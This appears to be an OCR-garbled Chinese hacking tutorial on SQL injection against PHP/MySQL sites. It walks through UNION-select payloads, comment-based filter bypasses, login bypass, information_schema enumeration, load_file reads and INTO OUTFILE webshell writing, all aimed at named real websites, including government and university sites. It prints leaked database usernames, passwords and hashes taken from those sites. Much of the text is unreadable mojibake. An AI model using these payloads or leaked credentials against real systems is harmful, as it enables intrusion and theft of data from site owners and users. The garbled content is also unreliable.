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phpBAILEY EIIEAEY % P8, % B RMphp®i. RS BasplB2 2 AR T, 2 A phplfiafIiA T, REA
i3 PSR, 0) T 500 i L DR T asp Dinffiitat, RMIAZEALS . RREMPAPHAK Y2 MM ¢, HAKEA (S
RaANTHafh, PeCzemh kbl )

Sl gy ok “inurl:.php?ﬂrlit'uli(l 38— %H: hEAKYE — '—'http://www.chts.cn/info.php?articleid'~545 , il ge
b 3L ITIR 780 (8

AT — Bephpifi 01 (phpfttl—ifif, JF AR Lhs Al ¢ hitiifif) -

SELECT * /* Select all (G&FEAHE) */

FROM products /* products */

WHERE category='bikes' AND '1'='2' /* false condition */
UNION SELECT * /* append all new_products®/

FROM new_products /* to the previous result set */

fl 2 8 mg? 2 FAASKAIAL “//XXXX7, &, %R0, SRR Songi, i NRmEAL D, ®’ikn
oW, fo Ui iR A I ok 4

L2MNLZ AT ?

fEEOK AL | hup://www.chts.en/info.php?articleid=545 Fomin il E3E8F: hup://www.chts.cn/info.php?articleid=545/"ABCD234"/
MR, B IWHIEORE sl —HSR AL, o W AR IR KRNI

filx ' hup://bbsshudoo.com/viewthread.php?tid=179061 1&extra- page%3D ARG ETF1aRE RN ? efnfefof, 9 sRTA,
FAVAGETRY URE S SHRA 21 7 EOR AFUE AR A AT 7 ~ABCD234°/, JEOK Ifphp fURS3ERE

select * from chts_article where articleid=545/"ABCD234"/
R A i 38 PR AR g
BARETFHRA, JINASI TR R, RV TR oG Mg o BTS00 hip://www.chts.cn/info.php2articleid-545 ,
*'I‘Lﬁn% CRTRM200355 WA MGEE T RS AN M 2D , & PRI hp://www.chts.en/info.php?articleid-54 by
" CRTARI20055 A M2 TG T RBER AN 20000 . 4207 A A Wb BRI, 55554515 5540008, 1k
I i Filand HlorK 8t
B8 MGEThitp:/Awww.chts.en/info.phparticleid=545/ABC* /or articalid=54, R Aarticleid=5450150 igKME 151453 XPCC T4
20055 A MAKGE TR RAN SN 1o RELAMTR? ML AN, PSR ZMEEA. Mk
fF1phpifi BEEK 1
select * from chts_article WHEREarticleid = 545/*ABCD 234" /or articleid = 54
At E 158, and Hlorf KA MM 1.
MACEMCLLIEA ™Rl 7, MR MABE . JUCRA RN, WA RIS & TR ARRLR 17,
http://www.chts.cn/info.php?articleid=545/"" /and/**/1-2/** /union/** /select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

EA SRR ¢, Al RIFREAE, BT A R AT admin, 25018 AL
http://www.chts.cn/info.php?articleid=545/"Juliet_NaNa®/and/*Juliet_NaNa®/1-2/*Juliet_NaNa*/union/*Juliet_NaNa*/select/

*Juliet_NaNa®/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet._NaNa*/from/*Juliet_NaNa*/admin/*
T3 TZ RN
SQL kZi: select * from chis_article where articleid=545/"dfgdfgfd*/and/*Juliet_NaNa®/1-2/*Juliet_NaNa®/union/*Juliet_NaNa*/

select/*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Julict_NaNa®*/from/*Julict_NaNa*/admin/* and visible=1
BXF, KLl 2K ? ;l':phpag

select * from chts_article where articleid=545
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XA S A chts_article ‘Pl RLarticleid, HAE545, B2 &M FERLEY,

http://www.chts.cn/info.php?articleid=545/*Juliet_NaNa®/and/*Juliet_NaNa®/1-2/"Juliet_NaNa®/union/*Juliet NaNa*/select/

*Juliet_NaNa®/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet_NaNa"/from/*Juliet_NaNa"/chts_article/*
wonb &, 28R 7 e

hitp://www.chts.cn/info.php?articleid=545/*Juliet_NaNa®/and/*Juliet_NaNa®/1-2/*Juliet_NaNa®/union/*Julict_NaNa*/sclect/

*Juliet_NaNa*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* Juliet_NaNa*/from/*Juliet_NaNa*/chts_article/**/where/** /articleid-545/"
WREERE, R RS OREERE TR ot 9B A R 2 BERG, and 1-28%and 1- 1AL, BRhip://www.chts.cn/info.php2articleid-515
—Hifsum, Al 202
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REAOA b B HREE MSSQLEK HEMySIRAR S, X FEa] LA I i i f A BRI B2, ASOIIFDT AR, FREAIESE
PAR e,

WA Apower by skvenff1fil 1 :

http://soft.ny.shangdu.com/down.php?id=47488/**/and/** /1-2/** /union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,

21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/** /from /** /downfile| http://soft.ny.shangdu.com/

down.php?id-47488/"* /and/**/1-2/** /union/** /select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,

31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/** /from/** /downfile
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o R T mysqUB R Fuser & I

MySQLAIR ARt A — AT VBRI, 47 “mysql™ , P AREBRIEA, RIAVySQLIAG TS, Hibuser
AP T MySQLIPEIAE itk ia .

userde S0P, user'T B P ERLA, ol BLA il i) 457 o 52 I

password ' M BRI A, AN IEX, APLT mds,

host 7 FXi% FIALIR A TP ol BLA WBSERLES EFRL, A Mlocalhostdon BAEARLA LG Bh,  hostn] UL BN ip L o] BLAL B B8V Nk
Faarx, pm “mysqldbserver” ZKo FhostH “localhost”™ A AnSfiftl, MRS A M KA phpmyadminiX 4
WRETIG, 08 REnl AR

file_priv'y BT T RA P AREA Ln] BLBCIE & Tl PE, B MY WAonseit, AN AoRSl I
2. MySQLIEAPEMIN—ESRK

A LA

union*seleet+1,2,3,X0,4,...0* from XX00 ‘ I

§ﬁ“"iﬂlﬂf¥ﬁj7‘l Fdif i fxof ., fiifZ Bl fEadiel,  flilconcat (user,053a,version)

user(: BUEHE P, HUM user @ server A root@ localhost i % fix i 35 VUK M root, IR% 85BAlocalhost ISR R A MRS %, I
WAL MR 75 85 FaB limysqldbsever, W oBLREip B4 192.168.100.111 o Fifa ifuser#B 24 mysqUE IR Bluser & Bediidag, T RER
RE

databaseQ: g 4. SN AT PREIAA i AFK. I

versionQz i PLTHIECIAA CR A, W5 Mok &5, BIURA BT, {r BRI IRA, RA bk 5 2 AR5
RRAS,  Bns.x.x nidonnt(windows) &S M I mysqliRkA .

@@datadir: BARIEET . Bolbig B (r BB B A DM INREE, AR 7. windowsH L, WM Tload filel iy MM Shif 7%
fildm - \program files'mysql5\data\ I
concatQ: WKOVEIA. XA union A, union THARAESQLIER, AWM THAASBIEE, WHE KGN T R4,

{ORIRBLR AL, BRSSO BN, PUa2il, Bl s sid i 6 6 R HHEEF 240 7H, Meoncaltl2— KA
K. flliconcat (username,0x3a,password), 4"“7&!“L'1 Bagt, s A hexfab i, H LT rhex b O MIER A4 b0 1 I
Google) f3510x3a, M Atconcat PiEAA RS A HE (FICWE) | B HII110x3a,0550,085,0x3¢62723¢ 5 5

group concatQ: JHILYy il kL, Rt b group l!(mlr:il(DISTlNCT'usur.ﬁx?&ﬂ,]).‘issw;rll), group concatMi 5, Wi

BFIGK S AL AR, concat—KIFETEATR A, HEHRTEAREAR, T Mgroup concadl® 58l — Kk Al K.
DISTINCTHS A B S 7y RAC U — Pk HGoogle— PaRTr, fRE .
concat WSO: ll]d;ﬁ{ilo I

hex( Hlunhex(: f1—SETE ASU i T 806 fodd Bl 7 Bt R 5 S0, ol GEA Se b union KW S8 A W RN, FBARET
hmﬁﬁ“‘:d‘i]hr g, A uniont selectthe \(p wssword)+from m\»rl[ user TEAHRIEAE AR 0x1234567890abeder 2 UM S, [
winhex2 T HAL Balod b B0, hex B8l TATME VMM, hex(concat(xxo0)), hex(user(),hex(database()

load_file(): L&}EW\HQIU‘i*l'llt.l-%ulf(ﬁ“{!§ﬁ flm: xR B load file(/ete 'p1~.»ml')“krwimluwn?’%“"l“iﬁinul I
file(es\bootini)e BASEOIBURIGISL, PRuser) SRR BB RK Tmysqluser&T 4D, fimysqluser&PIRIFER file_privik
BAY, Wload fileOZEWMNIH, SETRFA, WEAwindowsFHEe, PR RAFIEETRE AR WAL LGS AR A
ARRIERE, WA AR, P able, IBAXA ISP R BEH A T fabi, o' B0 SAFRMERER, §)
iﬂlﬁphp“"inﬁﬁ“"!gpl BT Mon GRALMPYA TR MR, Bl g1 5 AaNEsMY) | B &load file(ex\bootini) & MK: load file
(Ve\\\bootini\ ) IIURAER, BARISR . WRTEMconcatBE . hexlEM, $He\bootinithfihexBib, f151: 0x633a5¢5¢6
260617420696¢69, JRIBAIEEM M: uniontselect 1Joad file(0x633a5¢50626(6(742c696¢69) I
]k floadfileZ B il BAA Mlfrom,
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select XXOO into outfile "$E8': RMRARARAAGN, PR AESE ., LR funiontselect webshellifhex 28 +into+
outfile+' P SAPIIE IS \a.php'; BULALgp BT M off, FEASL, BERIA, file priv REAY, CHMIMMSR. R4, AL
PREEAR A B 2B IR G i 7 kK IR PT .
3. YR

AN, S 7 BB, i X 20 it 3 DE P oo & 5t Sl il — S35 S o rder byWidescBi35,  flim:
[ SELECT 1,2,3,4 FROM news where id=1 ORDER BY date DESC
HA BB
‘ select 1,2,3,4 from news where id=1 union select 1,2,3,4 from admin order by date DESC
admin& % fidate’ ¥, MPDESC? BAHF RN, ARG PORMR. FEL, WETEAPNE, {08 fuREm-—4 &
bk /RN, Skt matixh:
news.php?id=1+union*select+1,2,3,4+from+admin—
news.php?id-1+union select*1,2,3,4* fromadmin/*
A, union BAY i AIGm A G N, RESNCAGEAME? RARARALG, MR anm AR 1Y 724K, union — i
ik — AT ARSQLif A, il BN, Wk and 12, SIS ARTRES T2, IBZRKEENR o ML, WOR e
W AR, AMRSATTB22 1231 BT (RBRRE3002 TR . AR -2 2 WY, weapizki s, il
FAMEE Dilniid-5E T —, news.php? id=- 1o il XL AN, WA 6k, off%fi, MBA% 15 &0, Hland 12— H
PR, BEREZAIR, Bl s T ARR T B 7, wion A R100%0 1k B 2R runion MR ARISQLIBNI T .
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phpBA LIS G B FR. 2 Mo R phptiti. WA BasplB2 2 AR TH, 2 AMphplfIn i AR, %N
B2 Mg BUERIIR G, PEMIAZ ALY HAA A phpBRitE (GET) :
$conn-mysql_connect("ip","name","pass");
VG538 12 T 2
$query="select uid from admin where adminname="$_get|["adminname”|" and password ='$_get|"password"|"™;
/TR geOR AL & T Wl
$result=-mysql_query($query);
BUBRGET, AR fiddom, EWpa, phpid:
select uid from admin where adminname="nm' and password ='pa';

W F 8% 72 adminlogin.php?adminname-nm&password=bar , SR AEHAH i o' 11, BORFBBUERRE 72 adminloginphp?
adminname-nmé&password-bar'or'1"='1, F DR A ¥

select uid from admin where adminname="nm’ and password ='pa‘or'1'='1’;
—Rphpre KM R 1o UKL SRR AL | PRI . AW AKWIA 7SQLEH & A . FMBUIAZIXARN
getf VIR G R Wi fa B MY R Mgeo sUioR Won a6 6Bk, L0 il i RURINT A 5 get

B KR LA WANIINE: admin loginphp RRGTEALL Suimfs A A FTIT AR, 1rheh IXRS fotd priy A i
AR Sadmin nameHISadmin pass, x50 ul {UR A
select * from administrator where adminname = '$_GET[admin_name|' and admin_pass = '$ GET[admin_pass|’
I AT A& o il
admin'/*hacking by Juliet!

japanesv all are dogs'/ '

lﬁﬁﬁfﬂ& *Wl«ﬁﬁ %[ﬁﬁ;lﬁfﬂﬁﬂ.

<FORM ACTION- “admin_login.php” METHOD-= “get” >

<INPUT TYPE- “text” NAME- “admin_name” VALUE- *” ></INPUT>
ANPUT TYPE- “password” NAME- “admin_pass” VALUE- " ></INPUT>
BEIAKPPRYG, WSS 2 admin login.php? admin_name-admin&admin_pass-password”  (RUIHA AL
adminfllpassword) o R SEHE AN & R e URBRI M T admin loginphp A0 RS TR L Frelill, PHESR EHASQL
Al A REESQLIEARN, MR “admin'/hacking by Juliet! ™ Bl “japanese all are dogs™/™ Zk, SQLIGIREE:

select * from administrator

where adminname = ‘admin’/*hacking by Julict! ' and admin_pass - japanese all are dogs”/"
T/ SQLI AP Ao AL TERE, SRR L WHERIEE A BT R, KRR EIMSQLIE flA:
select * from administrator where adminname - 'admin’
R, REBARA P Madministrator &P e AT admin 2 A P 0 AR AR G T .
HSWAELAR R,
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I php+MySqliE AR 1R B8 & B I

R EARER TEARADIARBE, % FHOCHHIE, SOMyS QBURA A 1, Ad% RN, At &
Ao HbsME: hup:/swww.onhing.com.cniX A B/ RIBIES BRET R IR, 07 R80T IR 5525 TEAS8: hup://www.onhing.com.
en/en/pro.php?id=5 ALK 111X 4

http://www.onhing.com.cn/cn/pro.php?id=5+and+1-2+union*select+ 1,2,database(), concat(user,0x5f,password) ,5,6,7,8,9,10,11,12,13, 14,
user, 16,17,18,19,20,21+ from *mysql.user

e T REIHRR

EEBRME:
WEOME: oot
B 1

iz 13

i 5
bt 1000

ragl_947745R0080820DE0TEIT I0IFESRIDCI4EEED4SE

FIRB B, BRAN MySql, RINAT WG ATEIA B IR, BMSSQLIEA—H, HSCHIAAN, HEA "B iRl bL
To ZIMPOLEAK AL AN, A THGSIMR AL, WAL, XhllA Lk, ik T RAMAL selectikEs, FBAMEE phpiiA
i1, & 7 concat, hex, load file, OxXX, out intofile™5%, AL K. SAMR P, MM & R &BIA TR T,
Ksalim p-

+union select 1,2,3,table_name from (select * from information_schema.tables where table_schema= (M 7 Il hex order by table_

schema limit 6,1)1 limit 1

WM A select [l fi4> where table_schema- $08IE 771 hex . B8 A7 B database( BIn], HABETM MySqldb &
database O HOREM 77 20, AhextilI], frR—limic 6,7 BT AEEM, M1, 1,2, 23, 3R A& FAMOIL T, A
SIS HORA RN A EAMSAITEIEAE A test, Teikasy Snty, I HOR AL 0 6
hitps//www.onhing.com.cn/cn/pro.php?id=5+and+1-2+union +select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+
from* (select *+ from *information_schema.tables* wheretable_schema-0x74657374+order+hy* table_schemalimit+6,1)t+limit*1-—

— A& 5l67&%: member info, frfi Fifimember infollflmember login, An[HR/LAAIEAM, ARERGEFITR A, Al
A PG, R Ruserss o o o W
hitpz//www.onhing.com.cn/en/pro.php?id=5+and+ 1-2 tunion *select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+
from (select+*+ from *information_schema.tableswhere*table_schema-0x74657374 rorder by +table_schema*limit+ 13, )t+limit+1 -

SR 3
EESMS: 15
HE: 14
*yai: 12
w5
®EihipfikE: 1000

users

I WWW.BLACKBAD.ORE



php+mysqlif ABRIEDSEFEED)

MR AR GE ¢, B2 BT BAgo on [ :

http://www.onhing.com.cn/cn/pro.php?id=5+and* 1-2 ‘union*select* 1,2,3,user_name,5,6,7,8,9,10,11,12,13,14,user_password, 16,17,18,

19.20.21 tfrom*users
PRI DR : admin199l &, MiBLon A b ?

nd+1=2+union+select+1,2,3,user_name,5,6,7.8.9,10.11 1213 14 user_password,16,17,1819,20 21+

- EESERER. SORU(R. B, X BphosMysql. |

®EQEN: 3

L2y
RS
KRE: 14
il 12
@ s

Htks: 1000

wHA ‘;3f+9u40

WWW.BLACKBAP.ORG

e orhing amucn e admnyndes. phe

IRl s 18
HBERLASRRERS

. 3 silic
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WWW.BLACKBAP.ORG

I e R |8 AMARERRR VLo : -
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php+mysqglit ABERIEDISBZFERED

php*MySqiiE ATFR iR £ B 24
AT, KT, TRIARELN? LT REaAEE, & KBRS

schema limit 6,1)t limit 1-—

+union select 1,2,3,table_name from (select * from information_schema.tables where table schema= B(#i £ ¥ Il hex order by table

M2, &7 RiURAL:

+union select 1,2,column_name from (select * from information_schema.columns where table name=-tRH} K F& ZAfhex{fi and table_
schema=BHEF Zifhexfil order by 1 limit 2, Dt limit 1

AR BL iR A limic 6, 1IN S G, MO, L1 21, 3R 28 PAKUIL 7, A& IRMEMASK.
E A

http://www.ykxs.gov.cn/newinfo.php?id-125+and + 1-2+unionselect  1,2,3,table_name,5,6,7,8,9,10 from * (select* * +from +information _
schema.tables+where+table_schema-0x796B7873676F76 “order+by+table_schema*limit+0,1)t-limit+1—

ey

hitps//www.ykxs.gov.cn/jg view.php?id-141+and +1-2+union+select1,2,column_name,4,5*from+(select**+from+information_schema.
columnswhere *table_name-0x61646D696E6973747261746F 72+ and *table_schema-0x796B7873676F 76+ order by + 1+limit+2, Dt +limit+
1__

| http://www.ykxs.gov.cn/jg view.php?id-141+and+1-2+union+select+1,2,3,4,concat(uid,0x5f,pwd) + from*administrator




I = ) phptMySGL group_concatifigywa

I A A i eoncat, f ik 1 I
http://www.loongson.cn/product_info.php?id=-33+and+1-2+union*select *1,concat(0x757365723A, user (), 0x5¢,0x64617461626173653A,
database(),0x5¢,0x64617461626173652076657273696F 6E3A version()),3,4,5,concat(username,0x5¢,password) from +admin
I A2, l
| concat(database(),0x5¢,user() 0x5¢,version() ]
SIS A AP, 10T Sconcat, W31 SR80 31— AL, O PRS0 1A | % R4
SRHGERA A, RH UL PR A concatgify 7 U2, JEILAA KGR, ARIRA IR 2, W conca
LA, W P o] DA RO F? B A TIERIAR 24, hexOIHR S ISR A1 144, tnnml()fl‘lfiﬁﬁ"]%ﬁﬁ'lﬂ*l
A,
A idconcat Fa AR AR ALK ATAE R & B0 PR B AL A B 70 000, DOARAL KM — i, SRAT LAY bR, plimoxst,
Ox5e, OxIFEE.

el R T L L2 (— st
/'-mngsun\ FragRede

MFRT) | FLNE | BANE | WESR
N s derTelinTEhe s nEL
EiTETLI

PRI A SIS IR0 G rom i iBE ) . AP 135 1)
htp://www.loongson.cn/product_info.php?id=33+and+1-0+union*select *1,concat (0x757365723A, user(),0x5¢,0x64617461626173653A,

database0,0xSc,Oxﬁ%l 7461626173652076657273696F6E3A, version 0).3,4.5.(:0 neat(0x616C6C207461626065733A,GROUP_CONCAT
(DISTINCT +table_schema))  from rinformation _schema,columns

BAARIER Y, T R Ao Wi,
| concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT +table_schema))
Fedti i Plconcaldfy #HS I A -
| 0x616C6(207461626C65733A,GROUP_CONCAT(DISTINCT table_schema)
I ﬁi M i10x616C6C207161626C65733ALT | it S/ IS XA “all tables:™ , MG IMELEGROUP_ CONCATR Hl, Sbs & il Sl 1L
select GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns

I SR, SEICMETTRRNI A7, BUR IR — TS o e 1 #a8 o

e B ABBAWEE WG cn e
/ioongson\ nWw&"‘Z’ toc- DED

sHINE
I HER) § LR | N RN m
BN o AEISARNE RIS SNBLE
L=t

T hong Jund ] ecal host dat sbase b _chl na_guban_cnldatabese
wernion: S, 0, 51240 Lerenyd

S —



B phpiMySGL g_poup_cancatlﬁlﬁiﬁﬁ.ﬁm

RN I tl A S A SO R ) A BRI R

I hitp://www.loongson.cn/product_info.php?id-33+and*1-2+ union-select 1,2,3,4,5GROUP_CONCAT(DISTINCT table_name) from

+information_schema.columns+where+table_schema-0x64625F6368696E.615F717562616E5F636F.

I W E kel kAR 7, HALRRIT 0x61625F6368696E615F717562616E5F636F X A AL E I I8 R I hex i, SR A ifitRd
M, ANAINE T, Akhex(database) W ORI LI 7, G A~ oK BLFHEN 7 .

Pw%& !@.:&ﬁ#ﬁ I&&Lﬂnﬂm?«hnohgy = ::ﬂ?f.lkum

MmO R

BE O FR S
R

shout, ndwin, design, design_cat, down, down_rat, neve, nevs_cat, people, product, product_cat, question, question_cat, taching w,}JhﬁhmGl
WWW.BLACKEAP.ORC

PRI S BA R BRI A T BB R

https//www.loongson.cn/product_info.php?id-33+and+1-2 union*select1,2,3,4,5GROUP_CONCAT(DISTINCT column name)*
frominformation_schema.columns+where *table_name-0x61646D696F.

BAWAR 7, wheretable_name-0x61646D696EA I T Aadmin, 0x61646D696F Aadminiflhex bt

I 2

(A F ORI R SE, T 1A R IR A TR e SUAA SS )

I
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I
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php+MySGL Load_filefagxB

I php+MySqlﬁ)\load_fﬂeEm'§;’ﬂ I
R illphp  MySqREARIMEL, S XRRABRAKT B KL Banth, nlALR S xR TINEL, AR T RAGEN, L2002 453
AxB RS IMRRA, 0 —load X HMeaE, Bk idload file.

LADRAALHL B wwwoup.eduph (PR RAME Al 1) TEA S I
| http://www.tup.edu.ph/article.php?id-bulletin&bI D=9+ and* 1-2 +union+ select* 1,2,3,4,5,6 |
WA s, PP IEES % AL C:\_wam|i‘\mv»\;'\_arlicle.plap I

http://www.tup.edu.ph/article.php?id-bulletin&bI D=9+ and* 1-2 +union* select 1,2,concat(version(),0x5¢,database(),0x5¢,user()) 4,5,6+ J

from *mysql.user
iﬁi‘ﬂﬁlﬁﬁﬂ‘lﬁ%ﬁé 5.0.27-community nl\_lupl‘rmﬁ\\r(ml@l(a(rﬂ“mﬁl.ﬁﬁ%ixﬂqﬂ‘lﬁﬁ. M%&%mmﬂﬂﬁiﬂ l'(mlumw! I

http://www.tup.edu.ph/article.php?id-bulletin&bI D=9+and 1=2 *union+select 1,2,hex(load_file(0x433A5C77616D705C7777775C62757
4636865725C636F6F.6669672E.706870)),4,5,6 I

TSI 0x433A5C77616D705C.7777775C627574636865725C636F6E6669672E706870 4 5k sUBLAL C:\wamp' www ' butcher'
configphp (FIIFAA SR Mhex, ALLof T —VEEhEme, LIRS, Mhexido] GG i il @Ry 1 XA, TANA I
—UEER 2R MA R B R R H BT T Cowamp www  butcher' config.php L :

3C3F7068700D0A 2F2F636 F6E6669672E.7068700D 0A24686F73743D226 C6F 636 16C686F 7374223B0D0A24757365723D22726 F6F 742238

0D0A24706173733D226B6F616C6173223B0D0A2464626173653D22747570636D73223BODOA3F3E I

| ®n ma BR
MR S B S Sl L LR B 3 A R ey
LS L Dok A" AL Bt Tvadt” S s
i VS LMLt 4l e = et LandrCerdtnd « ¥
A WL g uite”r b g L
P A g M vt S v b v e g b g,
Badlabion

L4 » | [+ b nep o phiarice phpTads bulend S0 0 1@ hw O-2

M B Googhe SheGronp Youln Dudos MNars OBy

afpr
ebe />
A r2 Ay

fros T3 - St thabls “Radt TP bt ove Bl ipaan
oy Sriw S

IAIAG BT TITA
20 XANTO00AN bt iid |

Al Ui td "> ]« vt of PiEid prentd, =¥

Ll WAT TR £ = = GO it StNLE tatrety ==
Extersion hrMaowt Suslltdins S pr

Parning « s Tech }.. Ladx _

VW inHex 463 k80 4 51
<Iphp

//c_unﬁg.php
$host="localhost";
Suser="root";

$pass="koalas";

$dbase="tupems”;

27>

I BA AL AV I rootlK I 58 7

gi
&
:
= | | | | | [ ] | ] ] A

S S —



B php+MySGL Load_filefagxB

php+MySqItE A XPHIEA BT HLIR 54

&iih 1.8 |Ill|1://www.||dgl.gfw.l':lIfgf.(ll & reml.php?id=85’

= gt

I B

| Warning: mysql_fetch_arrayo: supplied argument is not a valid MySQL result resource in D:\h'dgl\gzdt._read.php on line 29 |
look, BRHA? XPHEMRFA SR PSS, IBZBADR A — Pphp MySqREARIRIBE K — T SAEE, ik Ioad file——

Ak er, FAInIliditload fle® MMMy SR R, b2 AN R, HEIRES, 250 thidkt, nfi W AR

dl— R, Rt R Rl RGO, B2, RMySqUERA K E® . k2, LB, 2R CPHER. Bl

F AR B, MySqUERE PFuser'y %

| htlp:/ /wv\w.hdgl.gov.cn/gzdt_read.php?id =85+and+1=2+uniontselect+1,con cat(user,ﬂxﬁf,password),:i,fi,s.ﬁ 7,8+from *mysql.user | I

-

ArOndn_ TETIITCS kT
MR 004000 WRAR: D SN 3

s 74t silic
'z;m.mmqu

Hl}:i&. El{&load filefy Al X i s EI!I?. FEMIEEEE P D:\.hdgl\_ga[l.. read.php, 2z, ﬁﬂﬂulheﬂufﬁ, Lk S E i 16fr
. 0x143A5068614676C5C677A64745F 726561642E706870, load filefTit AW IIHARE:

I unionselect*1,2,3, hex(load_file(##Fifhexfi).5,6,7....8 |
MEAAM -, FRA MR fhi . S8, BAT AR R EA from admin BfRPR, SRS Wonr, 51
Zifload fileiT A FIRAAL:
http://www.hdgl.gov.cn/gzdt_read.php?id=85+and 1-2+union+select: 1,concat(user,0x5f,password), 3, hex(load _file(0x443A5C68646
76C5C677A64745F726561642E.706870)),5,6,7,8+ from * mysql.user

T T i UL E

I 409800db_7819157¢663ch79f, 11 H409800db, WM K H7819157¢663¢h79, MRA M4, B REAMySqIERAH, B2 RN —




php+MySGL Load_filefagxB

BE 5 arwn
L EBD EEe) RGN M
TR | 400900, TR T - B B-H- -0 o
t“m L R R T T
e | P ——
e - naod s T b i |

e
«Th redgne=i s
IO

/TR

>

TP FALLGR=TSNTAT hegRE-REGEIY aliEnmtenserr<SeT coler-tRdNH R AT 2900-0e-0t

AR crTouTctont color="IFrIieT ELLE I
A

T3

T tar e T .
VATIRSATY Basdrzedie/adkE MBI TO
T

«THz
CTOtaDle VISIESTRONT BRrdersti® alieetoester® Selipesiinsg=t3® telispecin
aurs
]

FeSTAEDIC2REAT2T

208383
22EITIT 1374302260 P46 4TS 6T ITH 22 IR0D0AIO0AT
oy 41731, i

wmen?w.m--J
.

ESATASEITA,

2473488

LR R ez dt_read php A XPHEMRII N BE L hex XA 12504, STHRIGATHWinHex, STHRRMAE, #URE: ASCITHEX
i ot bl L2 |18 U324 CE

Datadbject $host="localhost";
gl-dmn - ns= "
lﬂ";‘?!’omﬂ SMF ]aCky H

Ole Private Data
IBU-ASCIT

Spass="HIif";

;%T

Offset | 0 1 2 3 4 5 6 7 8 9101112131415 s A

00000000 00 3C 3F OD 0OA OD 0A 66 75 6E 63 74 69 6F 6 20 .<%.... function |j ﬁ:.‘ﬁﬁizg

00000016 T4 BF 5F 63 74 60 6C 28 24 73 74 72 29 7B 0D O& to_html(§str) [, |5

00000032 0D OA 24 73 74 72 3D 73 74 72 5F 72 65 70 6C 61 | ..§str=str_repla function to_html($str){
00000048 63 65 28 63 63 72 28 31 33 29 2C 22 3C 62 72 3E celchr(13), "Grd

00000064 22 9C 73 74 T2 5F T2 65 70 B0 61 63 65 28 63 88 *, str_replace(ch = " Ll (N o
00000080 72 28 33 32 20 2C 22 26 6E 62 T3 T0 3B 22 2C 68 r(32), "énbsp:”, h .$strstr_replace(chr(l3), br>"str.r ep]ace(chr(SZ’). &nbsp, 2
00000036 | 74 6D 6C T3 7O €5 63 69 61 6C 63 68 61 T2 73 28 tmlspecialchars( . :

00000112 24 73 74 72 2929 29 38 0D OA OD OA 72 65 74 75 tﬂllﬂpﬂc_lﬂl(!hﬂm@s‘l‘)»:
00000128 72 BE 20 24 73 74 72 38 0D OA OD 04 7D 0D O& 0D

00000144 OA 24 68 6F 73 74 3D 22 €C 6F 63 61 £C 68 6F 73 return $str;

00000160 74 22 3B 0D OA 0D 0OA 24 75 73 65 72 3D 22 6A 61

00000176 65 6B 79 22 3B 0D 0A 0D OA 24 70 61 73 73 3D 22 ]

00000192 30 37 35 32 40 35 35 36 30 30 35 39 22 3B 0D 0&

00000208 OD DA 24 64 62 30 22 67 6F 6E 67 6C 75 6A 75 22 .

00000224 3B OD OA OD A 24 74 61 62 6C 65 3D 22 67 Th 64 .

00000240 74 22 3B OD OA OD OA 24 66 70 3D 6D 79 73 7L 60 t”;

00000256 5F 63 6F 6E 6E 65 63 74 28 24 68 6F 73 74 2C 24 _connect($host, §

00000272 75 73 65 72 2C 24 T0 61 T3 73 29 3B OD OA OD OA  user, §pass):....

00000288 6D 79 73 71 6C 5F 73 65 6C 65 63 74 5F 64 62 28 mysql_select_db(

00000304 24 B4 62 23 3B OD OA OD OA 24 73 71 6C 30 22 73 $db);....$=ql="s

00000320 65 BC 65 63 74 20 24 20 66 72 6F 6D 20 24 T4 61  elect * from §ta

00000336 62 BC 65 20 77 62 65 72 65 20 69 64 3D 3 64 ble where id=§id

00000352 22 3B OD OA 0D OA 24 72 65 63 5F 69 64 SIV6D 79 “.....$rec_ideny

00000368 73 71 6C SF 71 75 65 72 79 28 24 73 T1f6C_oC ﬁ'mi

00000334 66 70 29 3B OD OA OD OA 24 72 65 63 79 P

00000400 71 BC 5F 66 65 74 63 68 SF 61 72 7 %W

00000416 72 65 63 SF 69 64 29 3B 0D OA (D 4 63759 74 |rec_id),....$hit

AR St I A Gl S e B DR PR A HRR TS B 2 A K ) R T HA fMyS gk,
#A&, G Awebshell fU#:

| create table test (a texi_):

I
N ———



php+MySGL Load_filefagxB

B Styeg Ju MG G o S HE LIRS I
B miE md DRSO SEm ey LN SRLEAR. 800 60
HebBEUE|Eme ool B-A0R-ANBOE-RERE
] ot T
s il bew T T e T T S T
o U b gy 2 —
e m!’ia?n i
SE —
B R Fart a-e-| o e (MRHEA ] (RERER.
Gl thwb_sdveriog
& 161 tht ban "" e &L..mumn T .
& 11 thuts board et e

Teannceprmalienet, seccdel s e
\'Jaewnau:mmr:mw} L 61 TN s L A RS
T A

e
e AT A TIAICTLITRE: Tl g e
b mm
e . BT
’ et
! PO R v i i
|| emwceca “TiLdevd LLeIEH
| | i at e e i S S AT —
| | tamtairman THREEPE T s b 5 Do
k {18 TG mr AN T s EY Ry e b W T DN TR SNy YA — iR
& i thab,seviion BT At Eas o LA ISR 3 QO VT 7 oo RATSLNGAR EXT 18 MU
- Sortaraom Tk 1z
© [ttt v s e
o1 B thby thend 3 SR e orw !
- sttt e e
ST [ 7
GrrmiiteaTi
vt ely LG Bl o TP D T o R RS T DA TH O e A PR Sy T A Al

wol
1 Se B SOOIOR RS e T s kWt el w1 T e
1oen B

P R ANy A SIS A BTryirad!
i

WAICTA LA A Tr m"‘
é«::mmﬂmmuﬂeﬁﬁmnme-memmp:{m,.ﬁz‘“ i
e s 3 At ellic
- - — - .nl" T
PR RfrMySqlififi):

select a from mysqi.!esl into outfile 'D:\\hdgl\\atesttest.php'’;
SR A i Hin) &MHWKPMK

i

I N N e ===
i1l
i§§3}§

ABdgia php

2016, 118

ony WM ) XM ecroe

TH [ maAm

